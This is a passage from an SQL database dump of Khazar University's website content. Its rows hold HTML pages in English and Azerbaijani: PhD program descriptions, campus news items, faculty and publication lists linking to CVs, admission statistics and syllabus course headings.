sans-serif;font-size:medium\"><br></p><h3>Ph.D. Degree Programs</h3><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The School offers Ph.D. Degree Programs in Computer Science, Computer Engineering and&nbsp;Petroleum and Gas Engineering.&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The Ph.D. programs are designed to prepare students for advanced study and research.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Students entering the Ph.D. program normally are expected to have completed the requirements for the Master\'s degree and to have demonstrated creative ability. Normally the MS degree is required for admission to the Ph.D. program.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">A combination MS/Ph.D. may be applied in some cases, as approved by the Committee of Graduate Studies.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Upon satisfactory completion of the coursework and the qualifying examination, the student and his/her supervisor select a dissertation topic. Candidates shall demonstrate their abilities for independent study in their dissertations by performing original research.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Each doctoral candidate must pass a final oral examination/defense of his/her dissertation and demonstrate wide knowledge of the major field as well as the significance of the dissertation topic to the field of study.</p><h3><br></h3><h3>Research fields for the Ph.D. degree are:</h3><ul style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><li>Computer Science and Computer Engineering</li><li>Intelligent Systems</li><li>Computer Graphics</li><li>Computer Networks</li><li>Multimedia Systems</li><li>Software Engineering</li><li>Other areas</li></ul><h3>Petroleum and Gas Engineering</h3><ul style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><li>Exploration, Production and Reservoir Engineering</li><li>Enhanced Oil Recovery</li><li>Petroleum Geosciences</li><li>Non-Newtonian Systems Application in Petroleum Production</li><li>Natural Gas Engineering</li><li>Petroleum Chemistry</li><li>Other areas</li></ul></div>'),(4497,2544,'en','Meeting with alumni held','On October 19, 2017, the Career Center of Khazar University organized a meeting of the former alumni (graduated from 1996-1997) with Hamlet Isakhanli...','<p>On October 19, 2017, the Career Center of Khazar University organized a meeting of the former alumni (graduated from 1996-1997) with Hamlet Isakhanli, the founder of the university, chairman of the Board of Directors and Trustees. Professor Hamlet Isakhanli welcomed the graduates, expressed his pleasure to have met them again and emphasized that close links between Khazar University and the alumni would have very significant and useful results. Mammad Abbasbeyli, Head of ‘Primu Group LLC’, Yashar Iskandarov, Founder and Director of ‘GABEG Ltd’, Yusif Hajiyev, Director of ‘Barama K.M’ Company, Murad Aslanov, Manager of ‘Caspian Breeze Travel’ Tourism Company, Yusif Mammadli, ‘Bioworks’ Representative on the Caspian Region, Saadat Novruzova, employee of the Presidential Administration of the Republic of Azerbaijan, Kamran Nasirov, manager of ‘General Electronics International’, Aydin Babayev, senior specialist of the Higher Education Development Department of the Azerbaijan Republic, as well as Nigar Abbasbeyli and Svetlana Askerova delivered a speech by giving extensive information about their activities, shared many memories of their student years. Firangiz Nasirova, Nabat Mammadova, Roza Arazova, who were first instructors of the graduates and Natella Barkaya, director of Khazar University Multimedia Center, said that they were happy and proud to have seen them together again after many years at Khazar. Ramal Ahmadov, Vice-President of the Khazar University Alumni Association, gave detailed information to the participants on the activities of the Association. During the meeting, which created the atmosphere of sincerity and business, concrete proposals were made to strengthen relations and establish a close cooperation with between the alumni and Khazar University. At the end, Professor Hamlet Isakhanli thanked the graduates for their sincere conversation, highlighting the importance of systematically working with university graduates and gave specific recommendations.</p>'),(4294,2535,'az','Xəzər Universiteti Şərqi Avropa və Mərkəzi Asiyanın ilk 100 universiteti arasında','2017-ci il oktyabrın 17-də QS təşkilatı tərəfindən 2017/18-ci il tədris ili üçün inkişaf etməkdə olan Avropa...','<p>2017-ci il oktyabrın 17-də QS təşkilatı tərəfindən 2017/18-ci il tədris ili üçün inkişaf etməkdə olan Avropa və Mərkəzi Asiya ölkələrinin ən yaxşı universitetlərinin illik reytinqi müəyyənləşdirilmişdir.</p><p>Reytinq siyahısına Avropa və Mərkəzi Asiyanın inkişaf etməkdə olan 20 ölkəsinin ən yaxşı 250 ali təhsil müəssisəsinin adı daxil edilmişdir: Azərbaycan, Belarus, Bosniya və Herseqovina, Bolqarıstan, Xorvatiya, Çexiya, Estoniya, Macarıstan, Qazaxıstan, Qırğızıstan, Latviya, Litva, Polşa, Rumıniya, Rusiya, Serbiya, Slovakiya, Sloveniya, Türkiyə və Ukrayna.</p><p>Reytinq siyahısına görə, Xəzər Universiteti 100-cü yeri tutmuş və regionun ilk 3,4% ən yaxşı universitet&nbsp;sırasında qərarlaşmışdır.</p><p>Xəzər Universiteti işəgötürənlərin nüfuzuna, beynəlxalq tələbələrin qəbuluna və xarici müəllimlərin sayına görə də Azərbaycan universitetləri arasında birinci yeri tutmuşdur.</p><p>Ətraflı məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"https://www.topuniversities.com/university-rankings/eeca-rankings/2018\">https://www.topuniversities.com/university-rankings/eeca-rankings/2018</a>.</p>'),(402,192,'en','Publications','','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/General/Dr.%20Hassan%20Nikhnafs.docx\"></a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/General/Dr.%20Hassan%20Nikhnafs.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Dr.%20Hassan%20Nikhnafs.docx\">Hassan Nikhnafs</a></strong>  <a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/General/Dr.%20Hassan%20Nikhnafs.docx\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Gasham%20Zeynalov.docx\">Gasham Zeynalov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Mirsadegh%20Seyedzavvar.docx\">Mirsadegh Seyedzavvar</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Nuru%20Safarov.docx\">Nuru Safarov</a><a href=\"http://www.khazar.org/files/pdf/Nuru_Seferov_pub.pdf\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/Rasoul%20Moradi.docx\">Rasoul Moradi </a></strong> <br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Mahammad%20Sharifov.docx\">Mahammad Sharifov</a> </strong> <br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Farhad%20D..docx\">Farhad Danaei Yeganeh</a><br></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Alimardanova%20F.N._List%20of%20Papers%20(25)%20%26%20Short%20descriptions%20(11).docx\">Fakhranda Alimardanova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Chemistry/PublicationList_JM%20(1).docx\">Jestin Mandumpal</a><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\"></a></strong><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\"></a>  <br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Mehdi%20Kiyasatfar_publications.pdf\"><strong>Mehdi Kiyasatfar</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Leyla_Muradxanli_pub.pdf\">Leyla Muradkhanli</a></strong><strong></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rafig_Ahmadov_pub.pdf\">Rafig Ahmadov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ramiz_Ahmadov_pub.pdf\">Ramiz Ahmadov</a></strong></p>'),(403,247,'en','Faculty and Staff','','<h3><strong></strong></h3><h3><strong>Administration</strong></h3><div><strong><br></strong></div><p><strong><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli.pdf\">Hamlet Isakhanli</a></strong></p><p>Professor,<strong>&nbsp;</strong>DS in Mathematics (Steklov Mathematical Institute, Russian Academy of Sciences, Moscow), Founder of Khazar University, Azerbaijan</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Hasan Niknafs</a></strong></p><p>Professor, PhD&nbsp;in Mechanical Engineering (The University of Akron, Akron, Ohio, USA), Rector and Acting Dean of the School of Engineering and Applied Sciences</p><p>&nbsp;</p><hr width=\"100%\" noshade=\"noshade\"><h3><strong>Full-time Professors</strong></h3><div><strong><br></strong></div><p><strong><a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\">Nuru Safarov</a></strong></p><p>PhD&nbsp;in Physics (Institute of Physics, Azerbaijan National Academy of Sciences), Head of Electronics, Telecommunications and Radio Engineering Department</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Gasham_Zeynalov_CV.pdf\">Gasham Zeynalov</a></strong></p><p>PhD&nbsp;in Geology (Institute of Geology, Azerbaijan National Academy of Sciences), Head of Petroleum Engineering Department</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rasim_Bayramli_CV.pdf\">Rasim Bayramli</a></strong></p><p>PhD&nbsp;in Technical Sciences (Moscow Scientific Research Asbestos/Cement Institute, Russia), Head of Civil Engineering Department</p><p>&nbsp;</p><p><strong><a href=\"http://www.khazar.org/files/pdf/mahammad_sharifov_cv.pdf\">Mahammad Sharifov</a></strong></p><p>PhD&nbsp;in Computer Engineering (Institute of Information Technology,&nbsp;Azerbaijan National Academy of Sciences), Coordinator of Computer Science Department</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV_Ali_Huseynov.pdf\">Ali Huseynli</a></strong></p><p>PhD&nbsp;in Mathematics (Institute of Mathematics and Mechanics,&nbsp;Azerbaijan National Academy of Sciences), Head of Mathematics Department</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/CV_2017_Mirsadegh%20Seyedzavvar.pdf\"></a><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/CV_2017_Mirsadegh%20Seyedzavvar.pdf\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/engineering/cv/mirsadegh_seyedzavvar_cv.pdf\">Mirsadegh Seyedzavvar</a></strong>  <a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/CV_2017_Mirsadegh%20Seyedzavvar.pdf\"></a></strong></p><p>PhD&nbsp;in Manufacturing and Production (University of Tabriz, Iran)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\">Rasoul Moradi</a></strong></p><p>PhD&nbsp;in Chemical Engineering (University of Tehran, Iran), Coordinator of Chemical Engineering Department</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Electronics/Fakhranda%20A.N_CV%20.doc\">Fakhranda Alimardanova</a></strong></p><p>PhD&nbsp;in Physics (Azerbaijan National Academy of Sciences), Vice-Dean for Academic Affairs</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/ahmad_babanli_CV.pdf\"><strong>Ahmad Babanli</strong></a></p><p>PhD in Computer science&nbsp;(Moscow Power Engineering Institute, Russia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\">Vafa Aslanova</a></strong>&nbsp;<br></p><p>MS in Azerbaijan Language&nbsp;(Azerbaijan University of Languages),&nbsp;Vice Dean for&nbsp;Student Affairs&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV_mehrizadeh.pdf\">Masoud Mehrizadeh</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Rashad_Khaligov_.CV.pdf\">Rashad Khaligov</a></strong></p><p>MS in Computer Science (Université de Franche Comté, France), Head of Information Systems Office</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Mehdi%20Kiyasatfar.pdf\">Mehdi Kiyasatfar</a></strong></p><p>PhD&nbsp;in Mechanical Engineering (Urmia University, Iran)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Zia_S_CV_Sep2018.pdf\">Ziaaddin Zamanzadeh</a>&nbsp;</strong><br></p><p>PhD in&nbsp;Structural Engineering (University of Minho, Portugal)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV_Abdulsalam_Mustafa%20%2017%20.pdf\">Abdulsalam Salihu Mustafa</a></strong></p><p>PhD&nbsp;candidate in Computer Science (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Ehsan%20Jafari.pdf\">Ehsan Jafari Dastgerdi</a></strong></p><p>PhD candidate&nbsp;in Petroleum Engineering&nbsp;(Khazar University, Azerbaijan)</p><p><br></p><p><strong></strong><a href=\"http://www.khazar.org/files/engineering/Mehdi_Bashiri-CV.pdf\"><strong>Mehdi Bashiri</strong></a></p><p>PhD candidate&nbsp;in Petroleum Engineering&nbsp;(Khazar University, Azerbaijan)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\">Nazila&nbsp;Pour Khalili</a></strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\"></a></p><p>PhD candidate in Biochemistry (Khazar University, Azerbaijan)<br></p><p><br></p><hr width=\"100%\" noshade=\"noshade\"><h3><strong>Instructors</strong></h3><div><strong><br></strong></div><p><strong><a href=\"http://www.khazar.org/files/pdf/CVShahmerdan_Amirov.pdf\">Shahmardan Amirov</a></strong></p><p>PhD&nbsp;in Physical and Mathematical Science (Institute of Physics,&nbsp;Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/KonulHuseinova-CV.pdf\">Konul Huseinova</a></strong></p><p>MS in Language Studies (Nakhchivan University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Narmina.FataliyevaCV.pdf\">Narmina Fataliyeva</a></strong></p><p>PhD&nbsp;in Language Studies (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Farida_Tatardar_CV%20.pdf\">Farida Tatardar</a></strong></p><p>PhD&nbsp;in Physics (Institute of Physics, Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/ArazAsadovCV2014.pdf\">Araz Asadov</a></strong></p><p>PhD&nbsp;in Technical Sciences, (Krilov Oil Research Institute, Russia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Aziza_Khanaliyeva_CV.pdf\">Aziza Khanaliyeva</a></strong></p><p>MS in English Language and Literature (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Sevda_Qaribova%20CV.pdf\">Sevda Garibova</a></strong></p><p>PhD&nbsp;in Physics (Institute of Physics, Azerbaijan National Academy Of Sciences)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Zumrud_Abdulova_CV.pdf\">Zumrud Abdulova</a></strong></p><p>MS in Civil Engineering (University of Architecture and Construction,&nbsp;Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVTahirMammadov.pdf\">Tahir Mammadov</a></strong></p><p>MS in Petroleum Engineering (Ecole Nationale Superieure de Geologie, France)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cvKonulKamilzade.pdf\">Konul Kamilzade</a></strong></p><p>MS in Translation of Korean Language (Azerbaijan University of Languages)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVSamirValiyev.pdf\">Samir Valiyev</a></strong></p><p>MS in Geological Engineering (Azerbaijan State Oil Academy)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVFarman_MAMMADOV.pdf\">Farman Mammadov</a></strong></p><p>PhD&nbsp;in Electrical Engineering (Azerbaijan State Oil Academy)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVRahman_Rasulzade.pdf\">Rahman Rasulzada</a></strong></p><p>MS in&nbsp;Control System Engineering&nbsp;(Texas A&amp;M University, College Station,&nbsp;USA)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV_ZaurKarimov.pdf\">Zaur Karimov</a></strong></p><p>PhD&nbsp;in Biology (Azerbaijan State Medical University)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cv_Leyla_Mammedli.pdf\">Leyla Mammadli</a></strong></p><p>MS in Jurisprudence (Baku State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/image/Sevinc%20Allahverdiyeva%20CV.pdf\">Sevinc Allahverdiyeva</a>&nbsp;</strong>&nbsp;<br></p><p>MS in German&nbsp;Language (Azerbaijan University of Languages)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Reyhan_Madatova_CV.pdf\">Reyhan Madatova</a>&nbsp;</strong><br></p><p>PhD&nbsp;in Philology&nbsp;(Azerbaijan National Academy of Sciences, Institute of&nbsp;Linguistics)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Izat_Shahsenov_CV.pdf\">Izat Shahsenov</a></strong></p><p>MS in Petroleum Engineering (Moscow Institute of Physics and Technology, Russia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/history_depart/Bayram%20Quliyev%20-%20CV%20eng.pdf\">Bayram Guliyev</a>&nbsp;</strong><br></p><p>PhD&nbsp;in History (Baku&nbsp;State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/biolog_depart/syllabus/MA%C4%B0L%20YAQUBOV.PDF\">Mail Yaqubov</a>&nbsp;</strong></p><p>PhD&nbsp;in&nbsp;Philosophy<strong>&nbsp;</strong>(University of Tehran, Iran)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Adilya_Abdullayeva_CV.pdf\">Adilya&nbsp;Abdullayeva</a>&nbsp;</strong><br></p><p>MS in Language Studies (Azerbaijan University of Languages)</p><p><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Nigar%20Mammadova%20cv%20%2B.pdf\"><strong>Nigar Mammadova</strong></a>&nbsp;<br></p><p>MS&nbsp;in History and Theory of Pedagogy in Education (Baku Slavic University, Azerbaijan)<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CVShirin_NajafMammadova.pdf\">Shirin Mammadova</a></strong></p><p>MS in Chemistry (Baku State University, Azerbaijan)</p><p><br></p><p><a href=\"http://www.khazar.org/files/eng_depart/Mahire%20Quluzade.pdf\"><strong>Mahire Guluzade</strong></a>&nbsp;<br></p><p>MS in&nbsp;Linguistics&nbsp;(Azerbaijan University of Languages)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Narmin%20Mammadova%20.pdf\">Narmin Mammadova</a>&nbsp;</strong><br></p><p>MS&nbsp;in Education and Educational Research (University of Edinburgh, UK)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/eng_depart/Guliyeva%20Nahide.docx\">Nahide Guliyeva</a>&nbsp;</strong><br></p><p>MS in Language Studies (Azerbaijan University of Languages)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cvMonday_obekpa.pdf\">Monday Obekpa</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Elvin%C6%8Fzizb%C9%99yov_CV.pdf\">Elvin Azizbeyov</a></strong></p><p>PhD&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/pdf/CV_VusalMammadrzayev.pdf\">Vusal Mammadrzayev</a></strong></p><p>MS in Economics and Finance (Eberhard-Karls University of Tübingen, Germany)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Adil%20Abbasov%20CV1.pdf\">Adil Abbasov</a></strong></p><p>MS in Chemical Engineering (French Institute of Petroleum, France)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV-Sabuhi_Ganiyev.pdf\">Sabuhi Ganiyev</a></strong></p><p>MS in Electronical&nbsp;Engineering (International Islamic University, Malaysia)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV.Azizov%20J%20.pdf\">Javanshir Azizov</a></strong></p><p>PhD&nbsp;candidate in Mathematics (Baku State University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Sabira%20Zeynalova-Academic%20CV%20(1).pdf\">Sabira Zeynalova</a></strong></p><p>MS in Civil Engineering (Azerbaijan Architecture and Construction University)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV(ENG)_Tural%20Maharramov.pdf\">Tural Maharramov</a></strong></p><p>MS in Ecological Engineering (National Aviation Academy, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Gunay%20Gasimova%20CV.pdf\">Gunay Gasimova</a></strong></p><p>MS in Italian Language (Universita’ per Stranieri di Perugia, Italy)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV.CAFAROVA%20LALA.pdf\">Lala Jafarova</a></strong></p><p>PhD&nbsp;candidate in Mathematics (Baku State University,&nbsp;Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Ahmadzada%20Vafa-CV_for%20Khazar.pdf\">Vafa Ahmadzada</a></strong></p><p>MS in Petroleum Engineering (Imperial College London, UK)</p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/General/CV-Europass-20170108-Nuriyeva-EN.docx\">Konul Nuriyeva</a></strong></p><p>PhD&nbsp;candidate in Economics (Azerbaijan University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Mezahim_Guliyev_CV.pdf\"><strong>Mazahim Guliyev</strong></a></p><p>PhD in Technical sciences (Azerbaijan Technical University)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/elshan_Aliyev_cv.pdf\">Elshan Aliyev</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Shahriyar%20Alkhasli.pdf\">Shahriyar Alkhasli</a></strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/CV-Rasim_Abdullayev.pdf\">Rasim Abdullayev</a></strong><br></p><p>PhD&nbsp;candidate in Information and Communication Systems (Azerbaijan National Academy Of Sciences)</p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Asim%20Namazov%20CV_7.pdf\">Asim Namazov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Asim%20Namazov%20CV_7.pdf\"></a></strong>MS in Distribution of Networks, Information and Communication Systems (Azerbaijan Technical University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/cv-farid%20aliyev-english..pdf\"><strong>Farid Aliyev</strong></a></p><p>MS in Piping Engineering and Design (University of San Jorge, Spain)&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Mech.eng/Zahid%20Nabiyev.pdf\">Zahid Nabiyev</a></strong></p><p>MS in&nbsp;Design of Rotating Machines (Cranfield University, UK)</p><p><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Nijat%20Ibrahimov.pdf\">Nijat Ibrahimov</a></strong></p><p>MS in&nbsp;Systems and Control Engineering (The University of Sheffield, UK)</p><p><br></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Ulviyya%20Ahmadova_CV.pdf\"><strong>Ulviyya Ahmadova</strong></a><br></p><p>MS in&nbsp;Business Administration,&nbsp;Production &amp; Operations Management (Azerbaijan State Oil Academy &amp; Georgia State University)</p>'),(4185,2458,'az','Xəzər Universitetinin nəşrləri V Bakı Beynəlxalq Kitab Sərgi-Yarmarkasında nümayiş olunur','2017-ci il sentyabrın 28-də V Bakı Beynəlxalq Kitab Sərgi-Yarmarkasının açılışı oldu. Xəzər Universiteti Kitabxana...','<p style=\"font-size:medium\">2017-ci il sentyabrın 28-də V Bakı Beynəlxalq Kitab Sərgi-Yarmarkasının açılışı oldu. Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin əməkdaşları sərgidə universitetin nəşrlərini nümayiş etdirirlər. Kitabsevərlərə və iştirakçılara universitet haqqında geniş məlumat verilərək, hədiyyələr təqdim edilir.</p><p style=\"font-size:medium\">Sərginin təşkilində əsas məqsəd ölkədə kitaba, mütaliəyə marağın daha da artırılması, Azərbaycan oxucusunun yerli və xarici nəşr məhsulları ilə yaxından tanışlığı, eyni zamanda, yerli və xarici nəşriyyatlar, kitab evləri arasında yeni əməkdaşlıq imkanlarının yaradılmasıdır. Sərgi uç gün davam edəcək.</p>'),(3760,2195,'az','Statistika','Statistika','<p><a href=\"http://www.khazar.org/files/master/2011-2016-Dok-Diss-ra%20%C3%BCzr%C9%99%20q%C9%99bul%20h%C9%99cmi.docx\">2011-2016-cı illərdə doktorantura və dissertanturaya qəbulun həcmi</a></p><p><a href=\"http://www.khazar.org/files/master/PHD%20q%C9%99bul-statistika-2011-2016.docx\">2011-2016-cı illərdə doktoranturaya qəbulun statistikası</a></p>'),(3761,2195,'en','Statistics','Statistics','<p><a href=\"http://www.khazar.org/files/master/2011-2016-Dok-Diss-ra%20%C3%BCzr%C9%99%20q%C9%99bul%20h%C9%99cmi.docx\">Information about PhD Admission in 2011-2016</a></p><p><a href=\"http://www.khazar.org/files/master/PHD%20q%C9%99bul-statistika-2011-2016.docx\">Statistics on&nbsp;PhD Admission in 2011-2016</a></p>'),(3762,2196,'az','Magistr Tədqiqatı','Magistr Tədqiqatı','<a href=\"http://www.khazar.org/files/master/2012-2016-M%C3%BCdaf%C4%B1%C9%99%20etmi%C5%9F%20magistrl%C9%99r.docx\"><p><strong>Müdafiə olunmuş dissertasiyaların siyahısı</strong></p></a>'),(1893,1164,'en','Eurasia Knowledge Hub Training on \"Transforming Natural Resource Wealth into Sustainable Prosperity\" Completed','On May 21-28, 2016, the Eurasia Knowledge Hub operating at Khazar University held a training on \"Transforming Natural Resource Wealth into Sustainable Prosperity.”','<p>On May 21-28, 2016, the Eurasia\r\nKnowledge Hub operating at Khazar University held a training on\r\n\"Transforming Natural Resource Wealth into Sustainable Prosperity.” </p>\r\n<p>The training was met with interest by\r\nits 25 participants, including representatives from research institutes,\r\nuniversities, governments, the press and the public from seven countries\r\n(Azerbaijan, Georgia, Ukraine, Kazakhstan, Kyrgyzstan, Mongolia and\r\nTajikistan). On the final day of the training, participants were given\r\ncertificates and gifts from Khazar University. </p>\r\n<p>&nbsp;</p>'),(404,248,'en','Rationale and objectives','','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p>The current transition in Azerbaijan is characterized by\r\nactive reconstruction in the economy and new market-oriented control methods.\r\nNew reforms demand various changes, which create the necessity of mastering new\r\nskills. This in turn requires high-quality professional training.</p><p>The School of Engineering and Applied Science recognizes\r\nthat skills must be continually upgraded to meet the modern challenges.</p><p>The main objectives of the school are to:</p>\r\n<ul><li>achieve a combination of science, technology and\r\nmanagement skills</li><li>serve the interests and needs of students,&nbsp;industry\r\nand new market economy requirements.</li></ul><p>&nbsp;The school provides methods of training that\r\nare&nbsp;flexible&nbsp;in terms of their format, time and location.</p>'),(405,249,'en','Syllabus 2018_Fall','Syllabus 2018_Fall','<h3><strong></strong><strong>Department of English Languages</strong><strong></strong></h3><div><strong><br></strong></div><p><strong>English Foundation 1 A</strong></p><h4><p><strong><strong>English Foundation 1 B</strong><br></strong></p><p><strong><strong>English Foundation 1 C</strong>&nbsp; <br></strong></p><p><strong><strong>English Foundation 1 D</strong>&nbsp;<br></strong></p><p><strong>English Foundation 2  <br></strong></p><p><strong>ESP (petroleum/chemical)  <br></strong></p><p><strong>ESP (civil/mechanical)  <br></strong></p><p><strong>ESP(computer) A  <br></strong></p><p><strong><strong>ESP(computer) B</strong></strong></p></h4><p><strong><br></strong></p><h4></h4><h3><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/English/ESP%20Mechanics%20Adila%20Abdullayeva%20%202017.docx\"></a></strong><strong>Department of</strong>&nbsp;Petroleum Engineering  </h3><div><br></div><p><strong>Introduction to Petroleum Engineering</strong></p><p><strong>Petroleum Geology&nbsp;</strong></p><p><strong>Gas and Gas-Condensate Reservoir Engineering</strong></p><p><strong>Drilling Engineering</strong></p><p><strong>Physics of Oil and Gas reservoirs&nbsp;</strong></p><p><strong>Petroleum Reservoir Simulation&nbsp;</strong></p><p><strong>Petroleum Production Engineering 1</strong></p><p><strong>Fluid Mechanics for Petroleum 